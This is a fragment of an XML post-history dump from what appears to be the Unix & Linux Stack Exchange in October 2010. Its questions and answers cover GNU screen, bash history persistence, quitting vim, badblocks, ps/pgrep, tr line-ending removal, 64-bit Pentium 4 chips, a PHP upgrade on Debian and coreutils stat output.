  <row Id="7064" PostHistoryTypeId="1" PostId="3328" RevisionGUID="b2797a30-302d-43c7-9015-b8c38d18c4d5" CreationDate="2010-10-20T21:04:46.990" UserId="2367" Text="UBUNTU Desktop lost" />
  <row Id="7065" PostHistoryTypeId="3" PostId="3328" RevisionGUID="b2797a30-302d-43c7-9015-b8c38d18c4d5" CreationDate="2010-10-20T21:04:46.990" UserId="2367" Text="éubuntuàédesktopà" />
  <row Id="7066" PostHistoryTypeId="2" PostId="3329" RevisionGUID="fea44434-6c6b-4bd1-bf27-f903c25fc6c3" CreationDate="2010-10-20T21:35:36.803" UserId="2368" Text="What's the best way to run a command inside a screen session such that its parent shell can be accessed?  I want to be able to restart it from within the same screen session.&#xD;&#xA;&#xD;&#xA;The best I've managed to come up with is the following:&#xD;&#xA;&#xD;&#xA;    $ cat mr-t.sh &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    top&#xD;&#xA;    exec /bin/bash&#xD;&#xA;&#xD;&#xA;and then:&#xD;&#xA;&#xD;&#xA;    screen -e'^\\\' -S top-in-screen ./mr-t.sh&#xD;&#xA;&#xD;&#xA;Then, if top stops running, I'll at least get a new shell within the same screen session I can work with.  This isn't very elegant, though, and I can't quite convince myself that if I hit C-c that the signal will reliably be sent to the right place.  Also, C-z doesn't work at all.&#xD;&#xA;&#xD;&#xA;I'm using bash 3.2.48 on OSX and 3.2.39 on Linux.  Both are probably patched by OS vendors.&#xD;&#xA;&#xD;&#xA;[As an aside, `-e'^\\\'` reassigns the Magick Screen Key from C-a (a bad default if there ever was one) to C-\\.]&#xD;&#xA;" />
  <row Id="7067" PostHistoryTypeId="1" PostId="3329" RevisionGUID="fea44434-6c6b-4bd1-bf27-f903c25fc6c3" CreationDate="2010-10-20T21:35:36.803" UserId="2368" Text="How to run a command inside screen such that you can get back to the command's parent shell?" />
  <row Id="7068" PostHistoryTypeId="3" PostId="3329" RevisionGUID="fea44434-6c6b-4bd1-bf27-f903c25fc6c3" CreationDate="2010-10-20T21:35:36.803" UserId="2368" Text="éscreenà" />
  <row Id="7069" PostHistoryTypeId="2" PostId="3330" RevisionGUID="8d2db954-bb19-4072-b517-b748becb6c85" CreationDate="2010-10-20T21:45:22.167" UserId="1615" Text="I am trying Ubuntu Server 10.10 in VirtualBox. I like that the commands I run is saved in a &quot;history&quot;-file that can be shown with the `history` command. But if I just turn off VirtualBox without the `shutdown` command, then next time when I boot, the commands from the last session is not saved in the history file.&#xD;&#xA;&#xD;&#xA;The commands are only saved if I shutdown the machine with the `shutdown` command. E.g. `shutdown -P 0`.&#xD;&#xA;&#xD;&#xA;Is there any way I can save the history file after every command so they are persistent even after a &quot;non-clean&quot; shutdown?" />
  <row Id="7070" PostHistoryTypeId="1" PostId="3330" RevisionGUID="8d2db954-bb19-4072-b517-b748becb6c85" CreationDate="2010-10-20T21:45:22.167" UserId="1615" Text="How to get a persistent &quot;history&quot;-file even after a non-clean shutdown?" />
  <row Id="7071" PostHistoryTypeId="3" PostId="3330" RevisionGUID="8d2db954-bb19-4072-b517-b748becb6c85" CreationDate="2010-10-20T21:45:22.167" UserId="1615" Text="écommandölineàéconfigurationàécommandöhistoryàéshutdownà" />
  <row Id="7072" PostHistoryTypeId="2" PostId="3331" RevisionGUID="77c80d3b-5332-4f9d-bb4d-98eef8338e3c" CreationDate="2010-10-20T21:48:13.443" UserId="12" Text="This is a bug with xorg and a [fix exists][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.edge.launchpad.net/ubuntu/+source/xorg/+bug/635258" />
  <row Id="7073" PostHistoryTypeId="5" PostId="3329" RevisionGUID="b3acdc2e-f8e3-4426-bd90-9c50cdf75825" CreationDate="2010-10-20T21:50:26.813" UserId="2368" Comment="more betterification" Text="What's the best way to run a command inside a screen session such that its parent shell can be accessed?  I want to be able to restart it from within the same screen session.&#xD;&#xA;&#xD;&#xA;The best I've managed to come up with is the following:&#xD;&#xA;&#xD;&#xA;    $ cat mr-t.sh &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    top&#xD;&#xA;    exec /bin/bash&#xD;&#xA;&#xD;&#xA;and then:&#xD;&#xA;&#xD;&#xA;    screen -e'^\\\' -S top-in-screen ./mr-t.sh&#xD;&#xA;&#xD;&#xA;Then, if top stops running, I'll at least get a new shell within the same screen session I can work with.  This isn't very elegant, though, and I can't quite convince myself that the signal will reliably be sent to the right process if I hit C-c.  Moreover, C-z doesn't work at all.&#xD;&#xA;&#xD;&#xA;I'm using bash 3.2.48 on OSX and 3.2.39 on Linux.  Both are probably patched by OS vendors.&#xD;&#xA;&#xD;&#xA;[As an aside, `-e'^\\\'` reassigns the Magick Screen Key from C-a (a bad default if there ever was one) to C-\\.]&#xD;&#xA;" />
  <row Id="7074" PostHistoryTypeId="2" PostId="3332" RevisionGUID="4ce4241d-b393-4d38-9084-6f6b841fcfd4" CreationDate="2010-10-20T22:14:09.083" UserId="382" Text="You should always use `shutdown`.&#xD;&#xA;&#xD;&#xA;You can add this to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND='history -a'&#xD;&#xA;&#xD;&#xA;This will append the in-memory history to your history file after each command is completed." />
  <row Id="7075" PostHistoryTypeId="2" PostId="3333" RevisionGUID="ed69d26c-1b1f-47ba-bab4-82dc6100b12a" CreationDate="2010-10-20T22:25:19.287" UserId="2370" Text="I'm building an IO abstraction library for CIL code, and I have a very hard time understanding the differences between a junction between two folders in NTFS and hard links.&#xD;&#xA;&#xD;&#xA;Are they equivalent? Are there differences I should know about?" />
  <row Id="7076" PostHistoryTypeId="1" PostId="3333" RevisionGUID="ed69d26c-1b1f-47ba-bab4-82dc6100b12a" CreationDate="2010-10-20T22:25:19.287" UserId="2370" Text="NTFS Junctions and Unix Hard Links" />
  <row Id="7077" PostHistoryTypeId="3" PostId="3333" RevisionGUID="ed69d26c-1b1f-47ba-bab4-82dc6100b12a" CreationDate="2010-10-20T22:25:19.287" UserId="2370" Text="éfilesystemsà" />
  <row Id="7078" PostHistoryTypeId="2" PostId="3334" RevisionGUID="55513aec-287b-47e8-b54d-3a352e56827d" CreationDate="2010-10-20T22:40:24.100" UserId="1615" Text="I started vim on my Ubuntu machine. However I don't know vim, and now I can not quit/exit from vim. I see the editor and I can write text, at the bottom line there is a label &quot;recording&quot;.&#xD;&#xA;&#xD;&#xA;I have tried to quit with:&#xD;&#xA;ctrl-d&#xD;&#xA;ctrl-c&#xD;&#xA;ctrl-q&#xD;&#xA;esc&#xD;&#xA;q&#xD;&#xA;quit&#xD;&#xA;&#xD;&#xA;But nothing works for me. &#xD;&#xA;&#xD;&#xA;How do I quit from vim?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7079" PostHistoryTypeId="1" PostId="3334" RevisionGUID="55513aec-287b-47e8-b54d-3a352e56827d" CreationDate="2010-10-20T22:40:24.100" UserId="1615" Text="How do I quit from vim?" />
  <row Id="7080" PostHistoryTypeId="3" PostId="3334" RevisionGUID="55513aec-287b-47e8-b54d-3a352e56827d" CreationDate="2010-10-20T22:40:24.100" UserId="1615" Text="évimàékeyboardöshortcutsàéeditorsà" />
  <row Id="7081" PostHistoryTypeId="2" PostId="3335" RevisionGUID="401df2d2-8018-4472-ae50-0fcc59582e3a" CreationDate="2010-10-20T22:46:53.347" UserId="29" Text="I can never remember the specific incantations for using `badblocks`, and apparently google isn't much help either. Yes I could read the man page but I remember it's like 4 options I have to use to get it to work the way I want. I need to do a destructive (rw) test on a new drive, and a read only on a drive that fell out of my raid array. I want to see the output if it finds problems and how far along it is." />
  <row Id="7082" PostHistoryTypeId="1" PostId="3335" RevisionGUID="401df2d2-8018-4472-ae50-0fcc59582e3a" CreationDate="2010-10-20T22:46:53.347" UserId="29" Text="How do you use badblocks?" />
  <row Id="7083" PostHistoryTypeId="3" PostId="3335" RevisionGUID="401df2d2-8018-4472-ae50-0fcc59582e3a" CreationDate="2010-10-20T22:46:53.347" UserId="29" Text="éfilesystemsàéhardwareàébadblocksà" />
  <row Id="7084" PostHistoryTypeId="2" PostId="3336" RevisionGUID="e45ec553-1ba9-475f-bd67-986537e28cd3" CreationDate="2010-10-20T22:47:21.073" UserId="2371" Text="[vim is a modal editor](http://vimdoc.sourceforge.net/htmldoc/usr_02.html#02.2). Hit the &lt;kbd&gt;ESC&lt;/kbd&gt; key to get into *Normal* (command) mode then type &lt;kbd&gt;:q&lt;/kbd&gt; and press &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;To quit without saving any changes, type &lt;kbd&gt;:q!&lt;/kbd&gt; and press &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;See also [Getting out](http://vimdoc.sourceforge.net/htmldoc/usr_02.html#02.7) in Vim documentation." />
  <row Id="7085" PostHistoryTypeId="2" PostId="3337" RevisionGUID="956a2fed-5f7d-4451-b6ee-ab8410d4a336" CreationDate="2010-10-20T22:52:46.420" UserId="2368" Text="Here's an imperfect solution I found.&#xD;&#xA;&#xD;&#xA;    screen -e'^\\\' -dmS top-in-screen&#xD;&#xA;&#xD;&#xA;Then you can run:&#xD;&#xA;&#xD;&#xA;    screen -S top-in-screen -p 0 -X stuff 'top^M'&#xD;&#xA;&#xD;&#xA;(Note that although you'll only see `^M` you should actually type `C-v` followed immediately by `C-m`.)&#xD;&#xA;&#xD;&#xA;It's imperfect because (I think) there is a race condition between the first and second invocations of screen.&#xD;&#xA;&#xD;&#xA;From http://aperiodic.net/screen/faq#how_to_send_a_command_to_a_window_in_a_running_screen_session_from_the_commandline, which has lots of other good information as well." />
  <row Id="7086" PostHistoryTypeId="2" PostId="3338" RevisionGUID="81454380-a776-47fb-8310-939180e888af" CreationDate="2010-10-20T22:53:01.520" UserId="33" Text="As Sinan said, vim is a modal editor. If you want to know whether that works for you you should maybe invest some time and run `vimtutor` which is an interactive way to learn vim. (It also covers how to exit, what the modes mean and what you can do in each mode)." />
  <row Id="7087" PostHistoryTypeId="5" PostId="3329" RevisionGUID="1a28af0b-2294-4e96-95ea-7bcef619b223" CreationDate="2010-10-20T22:53:54.360" UserId="2368" Comment="more goodifying" Text="What's the best way to run a command inside a screen session such that its parent shell can be accessed?  I want to be able to restart it from within the same screen session.&#xD;&#xA;&#xD;&#xA;The best I've managed to come up with is the following:&#xD;&#xA;&#xD;&#xA;    $ cat mr-t.sh &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    top&#xD;&#xA;    exec /bin/bash&#xD;&#xA;&#xD;&#xA;and then:&#xD;&#xA;&#xD;&#xA;    screen -e'^\\\' -S top-in-screen ./mr-t.sh&#xD;&#xA;&#xD;&#xA;Then, if top stops running, I'll at least get a new shell within the same screen session I can work with.  This isn't very elegant, though, and I can't quite convince myself that the signal will reliably be sent to the right process if I hit C-c.  Moreover, C-z doesn't work at all.&#xD;&#xA;&#xD;&#xA;I'm using bash 3.2.48 on OSX and 3.2.39 on Linux.  Both are probably patched by OS vendors.&#xD;&#xA;&#xD;&#xA;There's nothing special about the `top` command here, of course.&#xD;&#xA;&#xD;&#xA;[As an aside, `-e'^\\\'` reassigns the Magick Screen Key from C-a (a bad default if there ever was one) to C-\\.]&#xD;&#xA;" />
  <row Id="7088" PostHistoryTypeId="5" PostId="3334" RevisionGUID="13a6cfaa-673a-472c-b5d5-f01170bf625f" CreationDate="2010-10-20T22:54:00.473" UserId="1615" Comment="deleted 107 characters in body; edited title" Text="I started Vim on my Ubuntu machine. However I don't know Vim, and now I can not quit/exit. I see the editor and I can write text, at the bottom line there is a label &quot;recording&quot;.&#xD;&#xA;&#xD;&#xA;How do I quit from Vim?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7089" PostHistoryTypeId="4" PostId="3334" RevisionGUID="13a6cfaa-673a-472c-b5d5-f01170bf625f" CreationDate="2010-10-20T22:54:00.473" UserId="1615" Comment="deleted 107 characters in body; edited title" Text="How do I quit from Vim?" />
  <row Id="7090" PostHistoryTypeId="5" PostId="3334" RevisionGUID="1d411244-ece6-4457-b8e7-5c9f4b24ff7c" CreationDate="2010-10-20T23:14:44.127" UserId="1615" Comment="deleted 8 characters in body; edited title" Text="I started Vi on my Ubuntu machine. However I don't know Vi, and now I can not quit. I see the editor and I can write text, at the bottom line there is a label &quot;recording&quot;.&#xD;&#xA;&#xD;&#xA;How do I quit from Vi?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7091" PostHistoryTypeId="4" PostId="3334" RevisionGUID="1d411244-ece6-4457-b8e7-5c9f4b24ff7c" CreationDate="2010-10-20T23:14:44.127" UserId="1615" Comment="deleted 8 characters in body; edited title" Text="How do I quit from Vi?" />
  <row Id="7092" PostHistoryTypeId="2" PostId="3339" RevisionGUID="d65236db-4010-47fd-96b1-07c8f97a6bfe" CreationDate="2010-10-20T23:25:28.630" UserId="29" Text="I use &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;[&lt;/kbd&gt; to generate the &lt;kbd&gt;esc&lt;/kbd&gt; sequence, this keeps me from having to move my fingers from the home row (remember the &lt;kbd&gt;esc&lt;/kbd&gt; key was in a different place when `vi` was invented. `:wq` will write all files regardeless of necessity. I suggest using `ZZ` (which is &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt; twice) which will only write if a change has been made in the file. Also `:xa` is the same as `ZZ` except if you have more than 1 file open in the editor instance (such as vim tabs). *note: I'm not sure all this is 100% compat with all vi clones, but I know it works with vim*" />
  <row Id="7093" PostHistoryTypeId="6" PostId="3330" RevisionGUID="f8b525cc-8469-4826-a27e-de5b69309585" CreationDate="2010-10-20T23:25:30.487" UserId="1615" Comment="edited tags" Text="écommandölineàébashàécommandöhistoryàéshutdownà" />
  <row Id="7094" PostHistoryTypeId="2" PostId="3340" RevisionGUID="141cdef6-0258-49e3-959c-9f71d5e32938" CreationDate="2010-10-20T23:39:10.157" UserId="1615" Text="I use Ubuntu Server 10.10 and I would like to see what processes is running. I know that PostgreSQL is running on my machine but I can not see it with the `top` or `ps` command, so I guess that they aren't showing all processes. Is there another command to see all processes or is there any other parameters I can use with `top` or `ps` for this?" />
  <row Id="7095" PostHistoryTypeId="1" PostId="3340" RevisionGUID="141cdef6-0258-49e3-959c-9f71d5e32938" CreationDate="2010-10-20T23:39:10.157" UserId="1615" Text="How to see what processes is running?" />
  <row Id="7096" PostHistoryTypeId="3" PostId="3340" RevisionGUID="141cdef6-0258-49e3-959c-9f71d5e32938" CreationDate="2010-10-20T23:39:10.157" UserId="1615" Text="éprocessàémonitorà" />
  <row Id="7097" PostHistoryTypeId="5" PostId="3340" RevisionGUID="3d37ab6e-b6df-4923-8a8f-932c1e2090a7" CreationDate="2010-10-21T00:14:46.547" UserId="1207" Comment="very minor editing" Text="I use Ubuntu Server 10.10 and I would like to see what processes are running. I know that PostgreSQL is running on my machine but I can not see it with the `top` or `ps` commands, so I assume that they aren't showing all of the running processes. Is there another command which will show all running processes or is there any other parameters I can use with `top` or `ps` for this?" />
  <row Id="7098" PostHistoryTypeId="4" PostId="3340" RevisionGUID="3d37ab6e-b6df-4923-8a8f-932c1e2090a7" CreationDate="2010-10-21T00:14:46.547" UserId="1207" Comment="very minor editing" Text="How can I see what processes are running?" />
  <row Id="7099" PostHistoryTypeId="6" PostId="3340" RevisionGUID="3d37ab6e-b6df-4923-8a8f-932c1e2090a7" CreationDate="2010-10-21T00:14:46.547" UserId="1207" Comment="very minor editing" Text="éprocessàémonitoràéprocessömanagementà" />
  <row Id="7100" PostHistoryTypeId="2" PostId="3341" RevisionGUID="d893d775-258d-46b4-8c5e-9ce07cd72df4" CreationDate="2010-10-21T00:15:14.377" UserId="29" Text="have you tried `ps aux | grep postgres`? it really should show up if postgres is running. If it doesn't... how do you know postgres is running?" />
  <row Id="7101" PostHistoryTypeId="2" PostId="3342" RevisionGUID="6929fdf4-0160-462a-ace6-a836bc15c1e5" CreationDate="2010-10-21T00:30:18.493" UserId="1207" Text="From the `ps` man page:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; -e              Select all processes. Identical to -A.&#xD;&#xA;&#xD;&#xA;Thus, `ps -e` will display all of the processes.  The common options for &quot;give me everything&quot; are `ps -ely` or `ps aux`, the latter is the BSD-style. Often, people then pipe this output to `grep` to search for a process, as in xenoterracide's answer.  In order to avoid also seeing `grep` itself in the output, you will often see something like:&#xD;&#xA;&#xD;&#xA;     ps -ef | grep [f]oo&#xD;&#xA;&#xD;&#xA;where foo is the process name you are looking for.&#xD;&#xA;&#xD;&#xA;However, if you are looking for a particular process, I recommend using the `pgrep` command if it is available.  I believe it is available on Ubuntu Server.  Using `pgrep` means you avoid the race condition mentioned above. It also provides some other features that would require increasingly complicated `grep` trickery to replicate.  The syntax is simple:&#xD;&#xA;&#xD;&#xA;    pgrep foo&#xD;&#xA;&#xD;&#xA;where foo is the process for which you are looking.  By default, it will simply output the Process ID (PID) of the process, if it finds one.  See `man pgrep` for other output options.  I found the following page very helpful:&#xD;&#xA;&#xD;&#xA;http://mywiki.wooledge.org/ProcessManagement&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7102" PostHistoryTypeId="5" PostId="3297" RevisionGUID="d097aa54-542a-495b-8662-fb89a672b095" CreationDate="2010-10-21T00:34:53.953" UserId="4" Comment="added 909 characters in body" Text="I have a script which outputs the following text. This is the output from a [Netopia 2210-02 ADSL2][1] modem.&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line? I would like the output to look something like this (Yes it's ugly):&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up ADSL Startup Attempts:  1 ADSL Modulation:        DMT ADSL Data Path:         Fast Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0 SNR Margin:                   8.20        9.00 dB Line Attenuation:            57.50       31.00 dB Output Power:                17.09       12.34 dBm Errored Seconds:                 0           0 Loss of Signal:                  0         476 Loss of Frame:                   0           0 CRC Errors:                  57921         416 Data Rate:                    2880        1024 &#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    # (This simply outputs the contents of the script, unmodified)&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;I also tried using `tr`. I was expecting the following command to replace each newline character with the space character. This would take the multiple lines and combine them into one long single line. Instead, this only displays the last line of output. It seems to overwrite each subsequent line with the next line of output.&#xD;&#xA;&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | tr '\n' ' '&#xD;&#xA;    Data Rate:                    2880        1024stefanl@hosta:~/Work/Cacti $&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.motorola.com/Consumers/US-EN/Consumer-Product-and-Services/DSL-Modems-and-Gateways/Netopia-ADSL2plus-Modem-2210-US-EN" />
  <row Id="7103" PostHistoryTypeId="5" PostId="3341" RevisionGUID="c7572ed9-7faa-49f3-9d72-9ac654829ccc" CreationDate="2010-10-21T00:42:56.640" UserId="29" Comment="just add a note" Text="have you tried `ps aux | grep postgres`? it really should show up if postgres is running. If it doesn't... how do you know postgres is running?&#xD;&#xA;&#xD;&#xA;(note: it's a common misconception that's it's `ps -aux` but that's not correct)" />
  <row Id="7104" PostHistoryTypeId="5" PostId="3297" RevisionGUID="66c5da92-982f-4334-bf4d-0218934b0260" CreationDate="2010-10-21T00:46:22.890" UserId="4" Comment="added 291 characters in body" Text="I have a script which outputs the following text. This is the output from a [Netopia 2210-02 ADSL2][1] modem.&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up&#xD;&#xA;    ADSL Startup Attempts:  1&#xD;&#xA;    ADSL Modulation:        DMT&#xD;&#xA;    ADSL Data Path:         Fast&#xD;&#xA;    Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0&#xD;&#xA;    SNR Margin:                   8.20        9.00 dB&#xD;&#xA;    Line Attenuation:            57.50       31.00 dB&#xD;&#xA;    Output Power:                17.09       12.34 dBm&#xD;&#xA;    Errored Seconds:                 0           0&#xD;&#xA;    Loss of Signal:                  0         476&#xD;&#xA;    Loss of Frame:                   0           0&#xD;&#xA;    CRC Errors:                  57921         416&#xD;&#xA;    Data Rate:                    2880        1024&#xD;&#xA;&#xD;&#xA;How can I remove the end-of-line character for each line? I would like the output to look something like this (Yes it's ugly):&#xD;&#xA;&#xD;&#xA;    ADSL Line State:        Up ADSL Startup Attempts:  1 ADSL Modulation:        DMT ADSL Data Path:         Fast Datapump Version:       DSP 7.2.3.0, HAL 7.2.1.0 SNR Margin:                   8.20        9.00 dB Line Attenuation:            57.50       31.00 dB Output Power:                17.09       12.34 dBm Errored Seconds:                 0           0 Loss of Signal:                  0         476 Loss of Frame:                   0           0 CRC Errors:                  57921         416 Data Rate:                    2880        1024 &#xD;&#xA;&#xD;&#xA;I tried some solutions like this, but they don't work:&#xD;&#xA;&#xD;&#xA;    # (This simply outputs the contents of the script, unmodified)&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | sed -e 's/$//'&#xD;&#xA;&#xD;&#xA;I also tried using `tr`. I was expecting the following command to replace each newline character with the space character. This would take the multiple lines and combine them into one long single line. Instead, this only displays the last line of output. It seems to overwrite each subsequent line with the next line of output.&#xD;&#xA;&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $ ./script | tr '\n' ' '&#xD;&#xA;    Data Rate:                    2880        1024stefanl@hosta:~/Work/Cacti $&#xD;&#xA;    stefanl@hosta:~/Work/Cacti $&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;Upon further examination, it looks like each line is preceded by a return character. This shows up as `^M` when using `less`. So, I added two `tr` statements. One to delete newline characters, one to delete the return character.&#xD;&#xA;&#xD;&#xA;    ./script | | tr -d '\n' | tr -d '\r'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.motorola.com/Consumers/US-EN/Consumer-Product-and-Services/DSL-Modems-and-Gateways/Netopia-ADSL2plus-Modem-2210-US-EN" />
  <row Id="7105" PostHistoryTypeId="2" PostId="3343" RevisionGUID="ad5f3f96-b062-44d2-b808-b708924c9209" CreationDate="2010-10-21T02:12:05.267" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?" />
  <row Id="7106" PostHistoryTypeId="1" PostId="3343" RevisionGUID="ad5f3f96-b062-44d2-b808-b708924c9209" CreationDate="2010-10-21T02:12:05.267" UserId="250" Text="How did I install Ubuntu 64 bit on a Pentium 4 machine?" />
  <row Id="7107" PostHistoryTypeId="3" PostId="3343" RevisionGUID="ad5f3f96-b062-44d2-b808-b708924c9209" CreationDate="2010-10-21T02:12:05.267" UserId="250" Text="éubuntuàécpuàé64bitàé32bità" />
  <row Id="7108" PostHistoryTypeId="4" PostId="3343" RevisionGUID="81c5bd13-9310-4c78-a30b-33db6e5fd765" CreationDate="2010-10-21T02:33:05.560" UserId="250" Comment="edited title" Text="How come I installed Ubuntu 64 bit on a Pentium 4 machine?" />
  <row Id="7109" PostHistoryTypeId="2" PostId="3344" RevisionGUID="e3f0ccad-fd24-4706-9306-87cada390353" CreationDate="2010-10-21T02:39:40.543" UserId="1571" Text="Apparently there were some 64 bit pentium 4 chips made. Check your processor with `cat /proc/cpuinfo`" />
  <row Id="7110" PostHistoryTypeId="2" PostId="3345" RevisionGUID="4b16df8c-8bae-47e0-8508-1d00ef489f1d" CreationDate="2010-10-21T02:44:11.147" UserDisplayName="Jake" Text="Hello,&#xD;&#xA;&#xD;&#xA;I currently have PHP 5.0 installed on my Debian VPS and was wondering how I would be able to upgrade it to PHP 5.3 and keep all of my installed modules running.&#xD;&#xA;&#xD;&#xA;Thanks, Jake" />
  <row Id="7111" PostHistoryTypeId="1" PostId="3345" RevisionGUID="4b16df8c-8bae-47e0-8508-1d00ef489f1d" CreationDate="2010-10-21T02:44:11.147" UserDisplayName="Jake" Text="Update to PHP 5.3 on Debian 5.0-i386-default" />
  <row Id="7112" PostHistoryTypeId="3" PostId="3345" RevisionGUID="4b16df8c-8bae-47e0-8508-1d00ef489f1d" CreationDate="2010-10-21T02:44:11.147" UserDisplayName="Jake" Text="édebianàéserverà" />
  <row Id="7113" PostHistoryTypeId="5" PostId="3343" RevisionGUID="6b78ef3a-97db-4356-8ac2-444448da0d1b" CreationDate="2010-10-21T03:03:46.797" UserId="250" Comment="cat /proc/cpuinfo" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?&#xD;&#xA;&#xD;&#xA;Below is the result of `cat /proc/cpuinfo` (there are 2 CPUs, but the information is the same&#xD;&#xA;&lt;pre&gt;processor	: 1&#xD;&#xA;vendor_id	: GenuineIntel&#xD;&#xA;cpu family	: 15&#xD;&#xA;model		: 4&#xD;&#xA;model name	: Intel(R) Pentium(R) 4 CPU 3.00GHz&#xD;&#xA;stepping	: 3&#xD;&#xA;cpu MHz		: 2800.000&#xD;&#xA;cache size	: 2048 KB&#xD;&#xA;physical id	: 0&#xD;&#xA;siblings	: 2&#xD;&#xA;core id		: 0&#xD;&#xA;cpu cores	: 1&#xD;&#xA;apicid		: 1&#xD;&#xA;initial apicid	: 1&#xD;&#xA;fpu		: yes&#xD;&#xA;fpu_exception	: yes&#xD;&#xA;cpuid level	: 5&#xD;&#xA;wp		: yes&#xD;&#xA;flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc pebs bts pni dtes64 monitor ds_cpl est cid cx16 xtpr&#xD;&#xA;bogomips	: 6000.41&#xD;&#xA;clflush size	: 64&#xD;&#xA;cache_alignment	: 128&#xD;&#xA;address sizes	: 36 bits physical, 48 bits virtual&#xD;&#xA;power management:&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="7114" PostHistoryTypeId="2" PostId="3346" RevisionGUID="92c9b936-b7dc-44ac-b6cd-f4a43b123acc" CreationDate="2010-10-21T04:05:00.030" UserId="1779" Text="Create a `~/.screenrc.top` like so:&#xD;&#xA;&#xD;&#xA;    stuff &quot;top^M&quot;&#xD;&#xA;&#xD;&#xA;Now run `screen -c ~/.screenrc.top`.  No race condition!" />
  <row Id="7115" PostHistoryTypeId="2" PostId="3347" RevisionGUID="ec5c06db-3643-4492-8554-e723b2d09c1e" CreationDate="2010-10-21T04:15:13.233" UserId="1903" Text="First install Windows operating system&#xD;&#xA;&#xD;&#xA;Next install Your 1st linux after that 2nd linux.&#xD;&#xA;&#xD;&#xA;Following links help you to do it....&#xD;&#xA;&#xD;&#xA;&gt; http://ubuntuguide.org/wiki/Multiple_OS_Installation&#xD;&#xA;&gt;&#xD;&#xA;&gt; http://www.hentzenwerke.com/wp/installingmultiplelinuxdistributions_onasinglebox.pdf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Study this too...&#xD;&#xA;&#xD;&#xA;http://www.linux.org/docs/ldp/howto/MultiOS-HOWTO-6.html" />
  <row Id="7116" PostHistoryTypeId="2" PostId="3348" RevisionGUID="2c6048a7-09b9-40ed-9cc7-d8f1f8cc9b38" CreationDate="2010-10-21T04:30:25.250" UserId="1071" Text="Has the GNU coreutils (8.6) version of `stat` changed? After a recent update, some scripts I wrote that call stat are not working as expected; in particular, I had been making use of `stat -c %Y &quot;${filename}&quot;`. This is supposed to return the time of last modification in the form of seconds since &quot;Epoch&quot;. However, I could have sworn this used to take the form of a whole integer. However, I'm now getting output from this of the form `1287630625.956667227` rather than `1287630625`. Since Bash can't handle floating point arithmetic, this is a litttle annoying. Is this a deliberate change? Or a bug? Or has my memory gone fuzzy? I tried searching for information on this, but couldn't find anything." />
  <row Id="7117" PostHistoryTypeId="1" PostId="3348" RevisionGUID="2c6048a7-09b9-40ed-9cc7-d8f1f8cc9b38" CreationDate="2010-10-21T04:30:25.250" UserId="1071" Text="Has the GNU coreutils stat tool changed?" />
